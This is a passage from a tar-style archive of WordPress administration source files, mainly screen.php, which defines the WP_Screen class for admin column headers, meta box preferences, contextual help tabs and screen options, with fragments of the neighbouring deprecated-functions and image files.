function get_screen_icon() {
	return '';
}
/**#@-*/

/**#@+
 * Deprecated dashboard widget controls.
 *
 * @since 2.5.0
 * @deprecated 3.8.0
 */
function wp_dashboard_incoming_links_output() {}
function wp_dashboard_secondary_output() {}
/**#@-*/

/**#@+
 * Deprecated dashboard widget controls.
 *
 * @since 2.7.0
 * @deprecated 3.8.0
 */
function wp_dashboard_incoming_links() {}
function wp_dashboard_incoming_links_control() {}
function wp_dashboard_plugins() {}
function wp_dashboard_primary_control() {}
function wp_dashboard_recent_comments_control() {}
function wp_dashboard_secondary() {}
function wp_dashboard_secondary_control() {}
/**#@-*/

/**
 * This was once used to move child posts to a new parent.
 *
 * @since 2.3.0
 * @deprecated 3.9.0
 * @access private
 *
 * @param int $old_ID
 * @param int $new_ID
 */
function _relocate_children( $old_ID, $new_ID ) {
	_deprecated_function( __FUNCTION__, '3.9' );
}
screen.php000077700000076660151514577750006603 0ustar00<?php
/**
 * WordPress Administration Screen API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Get the column headers for a screen
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen The screen you want the headers for
 * @return array Containing the headers in the format id => UI String
 */
function get_column_headers( $screen ) {
	if ( is_string( $screen ) )
		$screen = convert_to_screen( $screen );

static $column_headers = array();

if ( ! isset( $column_headers[ $screen->id ] ) ) {

/**
		 * Filter the column headers for a list table on a specific screen.
		 *
		 * The dynamic portion of the hook name, $screen->id, refers to the
		 * ID of a specific screen. For example, the screen ID for the Posts
		 * list table is edit-post, so the filter for that screen would be
		 * manage_edit-post_columns.
		 *
		 * @since 3.0.0
		 *
		 * @param array $columns An array of column headers. Default empty.
		 */
		$column_headers[ $screen->id ] = apply_filters( 'manage_' . $screen->id . '_columns', array() );
	}

return $column_headers[ $screen->id ];
}

/**
 * Get a list of hidden columns.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen The screen you want the hidden columns for
 * @return array
 */
function get_hidden_columns( $screen ) {
	if ( is_string( $screen ) )
		$screen = convert_to_screen( $screen );

return (array) get_user_option( 'manage' . $screen->id . 'columnshidden' );
}

/**
 * Prints the meta box preferences for screen meta.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen
 */
function meta_box_prefs( $screen ) {
	global $wp_meta_boxes;

if ( is_string( $screen ) )
		$screen = convert_to_screen( $screen );

if ( empty($wp_meta_boxes[$screen->id]) )
		return;

$hidden = get_hidden_meta_boxes($screen);

foreach ( array_keys($wp_meta_boxes[$screen->id]) as $context ) {
		foreach ( array_keys($wp_meta_boxes[$screen->id][$context]) as $priority ) {
			foreach ( $wp_meta_boxes[$screen->id][$context][$priority] as $box ) {
				if ( false == $box || ! $box['title'] )
					continue;
				// Submit box cannot be hidden
				if ( 'submitdiv' == $box['id'] || 'linksubmitdiv' == $box['id'] )
					continue;
				$box_id = $box['id'];
				echo '<label for="' . $box_id . '-hide">';
				echo '<input class="hide-postbox-tog" name="' . $box_id . '-hide" type="checkbox" id="' . $box_id . '-hide" value="' . $box_id . '"' . (! in_array($box_id, $hidden) ? ' checked="checked"' : '') . ' />';
				echo "{$box['title']}</label>\n";
			}
		}
	}
}

/**
 * Get Hidden Meta Boxes
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen Screen identifier
 * @return array Hidden Meta Boxes
 */
function get_hidden_meta_boxes( $screen ) {
	if ( is_string( $screen ) )
		$screen = convert_to_screen( $screen );

$hidden = get_user_option( "metaboxhidden_{$screen->id}" );

$use_defaults = ! is_array( $hidden );

// Hide slug boxes by default
	if ( $use_defaults ) {
		$hidden = array();
		if ( 'post' == $screen->base ) {
			if ( 'post' == $screen->post_type || 'page' == $screen->post_type || 'attachment' == $screen->post_type )
				$hidden = array('slugdiv', 'trackbacksdiv', 'postcustom', 'postexcerpt', 'commentstatusdiv', 'commentsdiv', 'authordiv', 'revisionsdiv');
			else
				$hidden = array( 'slugdiv' );
		}

/**
		 * Filter the default list of hidden meta boxes.
		 *
		 * @since 3.1.0
		 *
		 * @param array     $hidden An array of meta boxes hidden by default.
		 * @param WP_Screen $screen WP_Screen object of the current screen.
		 */
		$hidden = apply_filters( 'default_hidden_meta_boxes', $hidden, $screen );
	}

/**
	 * Filter the list of hidden meta boxes.
	 *
	 * @since 3.3.0
	 *
	 * @param array     $hidden       An array of hidden meta boxes.
	 * @param WP_Screen $screen       WP_Screen object of the current screen.
	 * @param bool      $use_defaults Whether to show the default meta boxes.
	 *                                Default true.
	 */
	return apply_filters( 'hidden_meta_boxes', $hidden, $screen, $use_defaults );
}

/**
 * Register and configure an admin screen option
 *
 * @since 3.1.0
 *
 * @param string $option An option name.
 * @param mixed $args Option-dependent arguments.
 */
function add_screen_option( $option, $args = array() ) {
	$current_screen = get_current_screen();

if ( ! $current_screen )
		return;

$current_screen->add_option( $option, $args );
}

/**
 * Get the current screen object
 *
 * @since 3.1.0
 *
 * @return WP_Screen Current screen object
 */
function get_current_screen() {
	global $current_screen;

if ( ! isset( $current_screen ) )
		return null;

return $current_screen;
}

/**
 * Set the current screen object
 *
 * @since 3.0.0
 * @uses $current_screen
 *
 * @param mixed $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen,
 *	or an existing screen object.
 */
function set_current_screen( $hook_name = '' ) {
	WP_Screen::get( $hook_name )->set_current_screen();
}

/**
 * A class representing the admin screen.
 *
 * @since 3.3.0
 * @access public
 */
final class WP_Screen {
	/**
	 * Any action associated with the screen. 'add' for *-add.php and *-new.php screens. Empty otherwise.
	 *
	 * @since 3.3.0
	 * @var string
	 * @access public
	 */
	public $action;

/**
	 * The base type of the screen. This is typically the same as $id but with any post types and taxonomies stripped.
	 * For example, for an $id of 'edit-post' the base is 'edit'.
	 *
	 * @since 3.3.0
	 * @var string
	 * @access public
	 */
	public $base;

/**
	 * The number of columns to display. Access with get_columns().
	 *
	 * @since 3.4.0
	 * @var int
	 * @access private
	 */
	private $columns = 0;

/**
	 * The unique ID of the screen.
	 *
	 * @since 3.3.0
	 * @var string
	 * @access public
	 */
	public $id;

/**
	 * Which admin the screen is in. network | user | site | false
	 *
	 * @since 3.5.0
	 * @var string
	 * @access protected
	 */
	protected $in_admin;

/**
	 * Whether the screen is in the network admin.
	 *
	 * Deprecated. Use in_admin() instead.
	 *
	 * @since 3.3.0
	 * @deprecated 3.5.0
	 * @var bool
	 * @access public
	 */
	public $is_network;

/**
	 * Whether the screen is in the user admin.
	 *
	 * Deprecated. Use in_admin() instead.
	 *
	 * @since 3.3.0
	 * @deprecated 3.5.0
	 * @var bool
	 * @access public
	 */
	public $is_user;

/**
	 * The base menu parent.
	 * This is derived from $parent_file by removing the query string and any .php extension.
	 * $parent_file values of 'edit.php?post_type=page' and 'edit.php?post_type=post' have a $parent_base of 'edit'.
	 *
	 * @since 3.3.0
	 * @var string
	 * @access public
	 */
	public $parent_base;

/**
	 * The parent_file for the screen per the admin menu system.
	 * Some $parent_file values are 'edit.php?post_type=page', 'edit.php', and 'options-general.php'.
	 *
	 * @since 3.3.0
	 * @var string
	 * @access public
	 */
	public $parent_file;

/**
	 * The post type associated with the screen, if any.
	 * The 'edit.php?post_type=page' screen has a post type of 'page'.
	 * The 'edit-tags.php?taxonomy=$taxonomy&post_type=page' screen has a post type of 'page'.
	 *
	 * @since 3.3.0
	 * @var string
	 * @access public
	 */
	public $post_type;

/**
	 * The taxonomy associated with the screen, if any.
	 * The 'edit-tags.php?taxonomy=category' screen has a taxonomy of 'category'.
	 * @since 3.3.0
	 * @var string
	 * @access public
	 */
	public $taxonomy;

/**
	 * The help tab data associated with the screen, if any.
	 *
	 * @since 3.3.0
	 * @var array
	 * @access private
	 */
	private $_help_tabs = array();

/**
	 * The help sidebar data associated with screen, if any.
	 *
	 * @since 3.3.0
	 * @var string
	 * @access private
	 */
	private $_help_sidebar = '';

/**
	 * Stores old string-based help.
	 */
	private static $_old_compat_help = array();

/**
	 * The screen options associated with screen, if any.
	 *
	 * @since 3.3.0
	 * @var array
	 * @access private
	 */
	private $_options = array();

/**
	 * The screen object registry.
	 *
	 * @since 3.3.0
	 * @var array
	 * @access private
	 */
	private static $_registry = array();

/**
	 * Stores the result of the public show_screen_options function.
	 *
	 * @since 3.3.0
	 * @var bool
	 * @access private
	 */
	private $_show_screen_options;

/**
	 * Stores the 'screen_settings' section of screen options.
	 *
	 * @since 3.3.0
	 * @var string
	 * @access private
	 */
	private $_screen_settings;

/**
	 * Fetches a screen object.
	 *
	 * @since 3.3.0
	 * @access public
	 *
	 * @param string $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen.
	 * 	Defaults to the current $hook_suffix global.
	 * @return WP_Screen Screen object.
	 */
	public static function get( $hook_name = '' ) {

if ( is_a( $hook_name, 'WP_Screen' ) )
			return $hook_name;

$post_type = $taxonomy = null;
		$in_admin = false;
		$action = '';

if ( $hook_name )
			$id = $hook_name;
		else
			$id = $GLOBALS['hook_suffix'];

// For those pesky meta boxes.
		if ( $hook_name && post_type_exists( $hook_name ) ) {
			$post_type = $id;
			$id = 'post'; // changes later. ends up being $base.
		} else {
			if ( '.php' == substr( $id, -4 ) )
				$id = substr( $id, 0, -4 );

if ( 'post-new' == $id || 'link-add' == $id || 'media-new' == $id || 'user-new' == $id ) {
				$id = substr( $id, 0, -4 );
				$action = 'add';
			}
		}

if ( ! $post_type && $hook_name ) {
			if ( '-network' == substr( $id, -8 ) ) {
				$id = substr( $id, 0, -8 );
				$in_admin = 'network';
			} elseif ( '-user' == substr( $id, -5 ) ) {
				$id = substr( $id, 0, -5 );
				$in_admin = 'user';
			}

$id = sanitize_key( $id );
			if ( 'edit-comments' != $id && 'edit-tags' != $id && 'edit-' == substr( $id, 0, 5 ) ) {
				$maybe = substr( $id, 5 );
				if ( taxonomy_exists( $maybe ) ) {
					$id = 'edit-tags';
					$taxonomy = $maybe;
				} elseif ( post_type_exists( $maybe ) ) {
					$id = 'edit';
					$post_type = $maybe;
				}
			}

if ( ! $in_admin )
				$in_admin = 'site';
		} else {
			if ( defined( 'WP_NETWORK_ADMIN' ) && WP_NETWORK_ADMIN )
				$in_admin = 'network';
			elseif ( defined( 'WP_USER_ADMIN' ) && WP_USER_ADMIN )
				$in_admin = 'user';
			else
				$in_admin = 'site';
		}

if ( 'index' == $id )
			$id = 'dashboard';
		elseif ( 'front' == $id )
			$in_admin = false;

$base = $id;

// If this is the current screen, see if we can be more accurate for post types and taxonomies.
		if ( ! $hook_name ) {
			if ( isset( $_REQUEST['post_type'] ) )
				$post_type = post_type_exists( $_REQUEST['post_type'] ) ? $_REQUEST['post_type'] : false;
			if ( isset( $_REQUEST['taxonomy'] ) )
				$taxonomy = taxonomy_exists( $_REQUEST['taxonomy'] ) ? $_REQUEST['taxonomy'] : false;

switch ( $base ) {
				case 'post' :
					if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] )
						wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
					elseif ( isset( $_GET['post'] ) )
						$post_id = (int) $_GET['post'];
					elseif ( isset( $_POST['post_ID'] ) )
						$post_id = (int) $_POST['post_ID'];
					else
						$post_id = 0;

if ( $post_id ) {
						$post = get_post( $post_id );
						if ( $post )
							$post_type = $post->post_type;
					}
					break;
				case 'edit-tags' :
					if ( null === $post_type && is_object_in_taxonomy( 'post', $taxonomy ? $taxonomy : 'post_tag' ) )
						$post_type = 'post';
					break;
			}
		}

switch ( $base ) {
			case 'post' :
				if ( null === $post_type )
					$post_type = 'post';
				$id = $post_type;
				break;
			case 'edit' :
				if ( null === $post_type )
					$post_type = 'post';
				$id .= '-' . $post_type;
				break;
			case 'edit-tags' :
				if ( null === $taxonomy )
					$taxonomy = 'post_tag';
				// The edit-tags ID does not contain the post type. Look for it in the request.
				if ( null === $post_type ) {
					$post_type = 'post';
					if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) )
						$post_type = $_REQUEST['post_type'];
				}

$id = 'edit-' . $taxonomy;
				break;
		}

if ( 'network' == $in_admin ) {
			$id   .= '-network';
			$base .= '-network';
		} elseif ( 'user' == $in_admin ) {
			$id   .= '-user';
			$base .= '-user';
		}

if ( isset( self::$_registry[ $id ] ) ) {
			$screen = self::$_registry[ $id ];
			if ( $screen === get_current_screen() )
				return $screen;
		} else {
			$screen = new WP_Screen();
			$screen->id     = $id;
		}

$screen->base       = $base;
		$screen->action     = $action;
		$screen->post_type  = (string) $post_type;
		$screen->taxonomy   = (string) $taxonomy;
		$screen->is_user    = ( 'user' == $in_admin );
		$screen->is_network = ( 'network' == $in_admin );
		$screen->in_admin   = $in_admin;

self::$_registry[ $id ] = $screen;

return $screen;
	}

/**
	 * Makes the screen object the current screen.
	 *
	 * @see set_current_screen()
	 * @since 3.3.0
	 */
	function set_current_screen() {
		global $current_screen, $taxnow, $typenow;
		$current_screen = $this;
		$taxnow = $this->taxonomy;
		$typenow = $this->post_type;

/**
		 * Fires after the current screen has been set.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Screen $current_screen Current WP_Screen object.
		 */
		do_action( 'current_screen', $current_screen );
	}

/**
	 * Constructor
	 *
	 * @since 3.3.0
	 * @access private
	 */
	private function __construct() {}

/**
	 * Indicates whether the screen is in a particular admin
	 *
	 * @since 3.5.0
	 *
	 * @param string $admin The admin to check against (network | user | site).
	 * If empty any of the three admins will result in true.
	 * @return boolean True if the screen is in the indicated admin, false otherwise.
	 *
	 */
	public function in_admin( $admin = null ) {
		if ( empty( $admin ) )
			return (bool) $this->in_admin;

return ( $admin == $this->in_admin );
	}

/**
	 * Sets the old string-based contextual help for the screen.
	 *
	 * For backwards compatibility.
	 *
	 * @since 3.3.0
	 *
	 * @param WP_Screen $screen A screen object.
	 * @param string $help Help text.
	 */
	static function add_old_compat_help( $screen, $help ) {
		self::$_old_compat_help[ $screen->id ] = $help;
	}

/**
	 * Set the parent information for the screen.
	 * This is called in admin-header.php after the menu parent for the screen has been determined.
	 *
	 * @since 3.3.0
	 *
	 * @param string $parent_file The parent file of the screen. Typically the $parent_file global.
	 */
	function set_parentage( $parent_file ) {
		$this->parent_file = $parent_file;
		list( $this->parent_base ) = explode( '?', $parent_file );
		$this->parent_base = str_replace( '.php', '', $this->parent_base );
	}

/**
	 * Adds an option for the screen.
	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded to add screen options.
	 *
	 * @since 3.3.0
	 *
	 * @param string $option Option ID
	 * @param mixed $args Option-dependent arguments.
	 */
	public function add_option( $option, $args = array() ) {
		$this->_options[ $option ] = $args;
	}

/**
	 * Remove an option from the screen.
	 *
	 * @since 3.8.0
	 *
	 * @param string $option Option ID.
	 */
	public function remove_option( $option ) {
		unset( $this->_options[ $option ] );
	}

/**
	 * Remove all options from the screen.
	 *
	 * @since 3.8.0
	 */
	public function remove_options() {
		$this->_options = array();
	}

/**
	 * Get the options registered for the screen.
	 *
	 * @since 3.8.0
	 *
	 * @return array Options with arguments.
	 */
	public function get_options() {
		return $this->_options;
	}

/**
	 * Gets the arguments for an option for the screen.
	 *
	 * @since 3.3.0
	 *
	 * @param string $option Option ID.
	 * @param mixed $key Optional. Specific array key for when the option is an array.
	 */
	public function get_option( $option, $key = false ) {
		if ( ! isset( $this->_options[ $option ] ) )
			return null;
		if ( $key ) {
			if ( isset( $this->_options[ $option ][ $key ] ) )
				return $this->_options[ $option ][ $key ];
			return null;
		}
		return $this->_options[ $option ];
	}

/**
	 * Gets the help tabs registered for the screen.
	 *
	 * @since 3.4.0
	 *
	 * @return array Help tabs with arguments.
	 */
	public function get_help_tabs() {
		return $this->_help_tabs;
	}

/**
	 * Gets the arguments for a help tab.
	 *
	 * @since 3.4.0
	 *
	 * @param string $id Help Tab ID.
	 * @return array Help tab arguments.
	 */
	public function get_help_tab( $id ) {
		if ( ! isset( $this->_help_tabs[ $id ] ) )
			return null;
		return $this->_help_tabs[ $id ];
	}

/**
	 * Add a help tab to the contextual help for the screen.
	 * Call this on the load-$pagenow hook for the relevant screen.
	 *
	 * @since 3.3.0
	 *
	 * @param array $args
	 * - string   - title    - Title for the tab.
	 * - string   - id       - Tab ID. Must be HTML-safe.
	 * - string   - content  - Help tab content in plain text or HTML. Optional.
	 * - callback - callback - A callback to generate the tab content. Optional.
	 *
	 */
	public function add_help_tab( $args ) {
		$defaults = array(
			'title'    => false,
			'id'       => false,
			'content'  => '',
			'callback' => false,
		);
		$args = wp_parse_args( $args, $defaults );

$args['id'] = sanitize_html_class( $args['id'] );

// Ensure we have an ID and title.
		if ( ! $args['id'] || ! $args['title'] )
			return;

// Allows for overriding an existing tab with that ID.
		$this->_help_tabs[ $args['id'] ] = $args;
	}

/**
	 * Removes a help tab from the contextual help for the screen.
	 *
	 * @since 3.3.0
	 *
	 * @param string $id The help tab ID.
	 */
	public function remove_help_tab( $id ) {
		unset( $this->_help_tabs[ $id ] );
	}

/**
	 * Removes all help tabs from the contextual help for the screen.
	 *
	 * @since 3.3.0
	 */
	public function remove_help_tabs() {
		$this->_help_tabs = array();
	}

/**
	 * Gets the content from a contextual help sidebar.
	 *
	 * @since 3.4.0
	 *
	 * @return string Contents of the help sidebar.
	 */
	public function get_help_sidebar() {
		return $this->_help_sidebar;
	}

/**
	 * Add a sidebar to the contextual help for the screen.
	 * Call this in template files after admin.php is loaded and before admin-header.php is loaded to add a sidebar to the contextual help.
	 *
	 * @since 3.3.0
	 *
	 * @param string $content Sidebar content in plain text or HTML.
	 */
	public function set_help_sidebar( $content ) {
		$this->_help_sidebar = $content;
	}

/**
	 * Gets the number of layout columns the user has selected.
	 *
	 * The layout_columns option controls the max number and default number of
	 * columns. This method returns the number of columns within that range selected
	 * by the user via Screen Options. If no selection has been made, the default
	 * provisioned in layout_columns is returned. If the screen does not support
	 * selecting the number of layout columns, 0 is returned.
	 *
	 * @since 3.4.0
	 *
	 * @return int Number of columns to display.
	 */
	public function get_columns() {
		return $this->columns;
	}

/**
	 * Render the screen's help section.
	 *
	 * This will trigger the deprecated filters for backwards compatibility.
	 *
	 * @since 3.3.0
	 */
	public function render_screen_meta() {

/**
		 * Filter the legacy contextual help list.
		 *
		 * @since 2.7.0
		 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
		 *                   get_current_screen()->remove_help_tab() instead.
		 *
		 * @param array     $old_compat_help Old contextual help.
		 * @param WP_Screen $this            Current WP_Screen instance.
		 */
		self::$_old_compat_help = apply_filters( 'contextual_help_list', self::$_old_compat_help, $this );

$old_help = isset( self::$_old_compat_help[ $this->id ] ) ? self::$_old_compat_help[ $this->id ] : '';

/**
		 * Filter the legacy contextual help text.
		 *
		 * @since 2.7.0
		 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
		 *                   get_current_screen()->remove_help_tab() instead.
		 *
		 * @param string    $old_help  Help text that appears on the screen.
		 * @param string    $screen_id Screen ID.
		 * @param WP_Screen $this      Current WP_Screen instance.
		 *
		 */
		$old_help = apply_filters( 'contextual_help', $old_help, $this->id, $this );

// Default help only if there is no old-style block of text and no new-style help tabs.
		if ( empty( $old_help ) && ! $this->get_help_tabs() ) {

/**
			 * Filter the default legacy contextual help text.
			 *
			 * @since 2.8.0
			 * @deprecated 3.3.0 Use get_current_screen()->add_help_tab() or
			 *                   get_current_screen()->remove_help_tab() instead.
			 *
			 * @param string $old_help_default Default contextual help text.
			 */
			$default_help = apply_filters( 'default_contextual_help', '' );
			if ( $default_help )
				$old_help = '<p>' . $default_help . '</p>';
		}

if ( $old_help ) {
			$this->add_help_tab( array(
				'id'      => 'old-contextual-help',
				'title'   => __('Overview'),
				'content' => $old_help,
			) );
		}

$help_sidebar = $this->get_help_sidebar();

$help_class = 'hidden';
		if ( ! $help_sidebar )
			$help_class .= ' no-sidebar';

// Time to render!
		?>
		<div id="screen-meta" class="metabox-prefs">

<div id="contextual-help-wrap" class="<?php echo esc_attr( $help_class ); ?>" tabindex="-1" aria-label="<?php esc_attr_e('Contextual Help Tab'); ?>">
				<div id="contextual-help-back"></div>
				<div id="contextual-help-columns">
					<div class="contextual-help-tabs">
						<ul>
						<?php
						$class = ' class="active"';
						foreach ( $this->get_help_tabs() as $tab ) :
							$link_id  = "tab-link-{$tab['id']}";
							$panel_id = "tab-panel-{$tab['id']}";
							?>

<li id="<?php echo esc_attr( $link_id ); ?>"<?php echo $class; ?>>
								<a href="<?php echo esc_url( "#$panel_id" ); ?>" aria-controls="<?php echo esc_attr( $panel_id ); ?>">
									<?php echo esc_html( $tab['title'] ); ?>
								</a>
							</li>
						<?php
							$class = '';
						endforeach;
						?>
						</ul>
					</div>

<?php if ( $help_sidebar ) : ?>
					<div class="contextual-help-sidebar">
						<?php echo $help_sidebar; ?>
					</div>
					<?php endif; ?>

<div class="contextual-help-tabs-wrap">
						<?php
						$classes = 'help-tab-content active';
						foreach ( $this->get_help_tabs() as $tab ):
							$panel_id = "tab-panel-{$tab['id']}";
							?>

<div id="<?php echo esc_attr( $panel_id ); ?>" class="<?php echo $classes; ?>">
								<?php
								// Print tab content.
								echo $tab['content'];

// If it exists, fire tab callback.
								if ( ! empty( $tab['callback'] ) )
									call_user_func_array( $tab['callback'], array( $this, $tab ) );
								?>
							</div>
						<?php
							$classes = 'help-tab-content';
						endforeach;
						?>
					</div>
				</div>
			</div>
		<?php
		// Setup layout columns

/**
		 * Filter the array of screen layout columns.
		 *
		 * This hook provides back-compat for plugins using the back-compat
		 * filter instead of add_screen_option().
		 *
		 * @since 2.8.0
		 *
		 * @param array     $empty_columns Empty array.
		 * @param string    $screen_id     Screen ID.
		 * @param WP_Screen $this          Current WP_Screen instance.
		 */
		$columns = apply_filters( 'screen_layout_columns', array(), $this->id, $this );

if ( ! empty( $columns ) && isset( $columns[ $this->id ] ) )
			$this->add_option( 'layout_columns', array('max' => $columns[ $this->id ] ) );

if ( $this->get_option( 'layout_columns' ) ) {
			$this->columns = (int) get_user_option("screen_layout_$this->id");

if ( ! $this->columns && $this->get_option( 'layout_columns', 'default' ) )
				$this->columns = $this->get_option( 'layout_columns', 'default' );
		}
		$GLOBALS[ 'screen_layout_columns' ] = $this->columns; // Set the global for back-compat.

// Add screen options
		if ( $this->show_screen_options() )
			$this->render_screen_options();
		?>
		</div>
		<?php
		if ( ! $this->get_help_tabs() && ! $this->show_screen_options() )
			return;
		?>
		<div id="screen-meta-links">
		<?php if ( $this->get_help_tabs() ) : ?>
			<div id="contextual-help-link-wrap" class="hide-if-no-js screen-meta-toggle">
			<a href="#contextual-help-wrap" id="contextual-help-link" class="show-settings" aria-controls="contextual-help-wrap" aria-expanded="false"><?php _e( 'Help' ); ?></a>
			</div>
		<?php endif;
		if ( $this->show_screen_options() ) : ?>
			<div id="screen-options-link-wrap" class="hide-if-no-js screen-meta-toggle">
			<a href="#screen-options-wrap" id="show-settings-link" class="show-settings" aria-controls="screen-options-wrap" aria-expanded="false"><?php _e( 'Screen Options' ); ?></a>
			</div>
		<?php endif; ?>
		</div>
		<?php
	}

public function show_screen_options() {
		global $wp_meta_boxes;

if ( is_bool( $this->_show_screen_options ) )
			return $this->_show_screen_options;

$columns = get_column_headers( $this );

$show_screen = ! empty( $wp_meta_boxes[ $this->id ] ) || $columns || $this->get_option( 'per_page' );

switch ( $this->id ) {
			case 'widgets':
				$nonce = wp_create_nonce( 'widgets-access' );
				$this->_screen_settings = '<p><a id="access-on" href="widgets.php?widgets-access=on&_wpnonce=' . urlencode( $nonce ) . '">' . __('Enable accessibility mode') . '</a><a id="access-off" href="widgets.php?widgets-access=off&_wpnonce=' . urlencode( $nonce ) . '">' . __('Disable accessibility mode') . "</a></p>\n";
				break;
			default:
				$this->_screen_settings = '';
				break;
		}

/**
		 * Filter the screen settings text displayed in the Screen Options tab.
		 *
		 * This filter is currently only used on the Widgets screen to enable
		 * accessibility mode.
		 *
		 * @since 3.0.0
		 *
		 * @param string    $screen_settings Screen settings.
		 * @param WP_Screen $this            WP_Screen object.
		 */
		$this->_screen_settings = apply_filters( 'screen_settings', $this->_screen_settings, $this );

if ( $this->_screen_settings || $this->_options )
			$show_screen = true;

/**
		 * Filter whether to show the Screen Options tab.
		 *
		 * @since 3.2.0
		 *
		 * @param bool      $show_screen Whether to show Screen Options tab.
		 *                               Default true.
		 * @param WP_Screen $this        Current WP_Screen instance.
		 */
		$this->_show_screen_options = apply_filters( 'screen_options_show_screen', $show_screen, $this );
		return $this->_show_screen_options;
	}

/**
	 * Render the screen options tab.
	 *
	 * @since 3.3.0
	 */
	public function render_screen_options() {
		global $wp_meta_boxes, $wp_list_table;

$columns = get_column_headers( $this );
		$hidden  = get_hidden_columns( $this );
		$post    = get_post();

?>
		<div id="screen-options-wrap" class="hidden" tabindex="-1" aria-label="<?php esc_attr_e('Screen Options Tab'); ?>">
		<form id="adv-settings" action="" method="post">
		<?php if ( isset( $wp_meta_boxes[ $this->id ] ) || $this->get_option( 'per_page' ) || ( $columns && empty( $columns['_title'] ) ) ) : ?>
			<h5><?php _e( 'Show on screen' ); ?></h5>
		<?php
		endif;

if ( isset( $wp_meta_boxes[ $this->id ] ) ) : ?>
			<div class="metabox-prefs">
				<?php
					meta_box_prefs( $this );

if ( 'dashboard' === $this->id && has_action( 'welcome_panel' ) && current_user_can( 'edit_theme_options' ) ) {
						if ( isset( $_GET['welcome'] ) ) {
							$welcome_checked = empty( $_GET['welcome'] ) ? 0 : 1;
							update_user_meta( get_current_user_id(), 'show_welcome_panel', $welcome_checked );
						} else {
							$welcome_checked = get_user_meta( get_current_user_id(), 'show_welcome_panel', true );
							if ( 2 == $welcome_checked && wp_get_current_user()->user_email != get_option( 'admin_email' ) )
								$welcome_checked = false;
						}
						echo '<label for="wp_welcome_panel-hide">';
						echo '<input type="checkbox" id="wp_welcome_panel-hide"' . checked( (bool) $welcome_checked, true, false ) . ' />';
						echo _x( 'Welcome', 'Welcome panel' ) . "</label>\n";
					}
				?>
				<br class="clear" />
			</div>
			<?php endif;
			if ( $columns ) :
				if ( ! empty( $columns['_title'] ) ) : ?>
			<h5><?php echo $columns['_title']; ?></h5>
			<?php endif; ?>
			<div class="metabox-prefs">
				<?php
				$special = array('_title', 'cb', 'comment', 'media', 'name', 'title', 'username', 'blogname');

foreach ( $columns as $column => $title ) {
					// Can't hide these for they are special
					if ( in_array( $column, $special ) )
						continue;
					if ( empty( $title ) )
						continue;

if ( 'comments' == $column )
						$title = __( 'Comments' );
					$id = "$column-hide";
					echo '<label for="' . $id . '">';
					echo '<input class="hide-column-tog" name="' . $id . '" type="checkbox" id="' . $id . '" value="' . $column . '"' . checked( !in_array($column, $hidden), true, false ) . ' />';
					echo "$title</label>\n";
				}
				?>
				<br class="clear" />
			</div>
		<?php endif;

$this->render_screen_layout();
		$this->render_per_page_options();
		echo $this->_screen_settings;

?>
		<div><?php wp_nonce_field( 'screen-options-nonce', 'screenoptionnonce', false ); ?></div>
		</form>
		</div>
		<?php
	}

/**
	 * Render the option for number of columns on the page
	 *
	 * @since 3.3.0
	 */
	function render_screen_layout() {
		if ( ! $this->get_option('layout_columns') )
			return;

$screen_layout_columns = $this->get_columns();
		$num = $this->get_option( 'layout_columns', 'max' );

?>
		<h5 class="screen-layout"><?php _e('Screen Layout'); ?></h5>
		<div class='columns-prefs'><?php
			_e('Number of Columns:');
			for ( $i = 1; $i <= $num; ++$i ):
				?>
				<label class="columns-prefs-<?php echo $i; ?>">
					<input type='radio' name='screen_columns' value='<?php echo esc_attr( $i ); ?>'
						<?php checked( $screen_layout_columns, $i ); ?> />
					<?php echo esc_html( $i ); ?>
				</label>
				<?php
			endfor; ?>
		</div>
		<?php
	}

/**
	 * Render the items per page option
	 *
	 * @since 3.3.0
	 */
	function render_per_page_options() {
		if ( ! $this->get_option( 'per_page' ) )
			return;

$per_page_label = $this->get_option( 'per_page', 'label' );

$option = $this->get_option( 'per_page', 'option' );
		if ( ! $option )
			$option = str_replace( '-', '_', "{$this->id}_per_page" );

$per_page = (int) get_user_option( $option );
		if ( empty( $per_page ) || $per_page < 1 ) {
			$per_page = $this->get_option( 'per_page', 'default' );
			if ( ! $per_page )
				$per_page = 20;
		}

if ( 'edit_comments_per_page' == $option ) {
			$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';

/** This filter is documented in wp-admin/includes/class-wp-comments-list-table.php */
			$per_page = apply_filters( 'comments_per_page', $per_page, $comment_status );
		} elseif ( 'categories_per_page' == $option ) {
			/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
			$per_page = apply_filters( 'edit_categories_per_page', $per_page );
		} else {
			/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
			$per_page = apply_filters( $option, $per_page );
		}

// Back compat
		if ( isset( $this->post_type ) ) {
			/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
			$per_page = apply_filters( 'edit_posts_per_page', $per_page, $this->post_type );
		}

?>
		<div class="screen-options">
			<?php if ( $per_page_label ) : ?>
				<input type="number" step="1" min="1" max="999" class="screen-per-page" name="wp_screen_options[value]"
					id="<?php echo esc_attr( $option ); ?>" maxlength="3"
					value="<?php echo esc_attr( $per_page ); ?>" />
				<label for="<?php echo esc_attr( $option ); ?>">
					<?php echo esc_html( $per_page_label ); ?>
				</label>
			<?php endif;

echo get_submit_button( __( 'Apply' ), 'button', 'screen-options-apply', false ); ?>
			<input type='hidden' name='wp_screen_options[option]' value='<?php echo esc_attr($option); ?>' />
		</div>
		<?php
	}
}
image.php000077700000044561151514577750006401 0ustar00<?php
/**
 * File contains all the administration image manipulation functions.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Crop an Image to a given size.
 *
 * @since 2.1.0
 *
 * @param string|int $src The source file or Attachment ID.
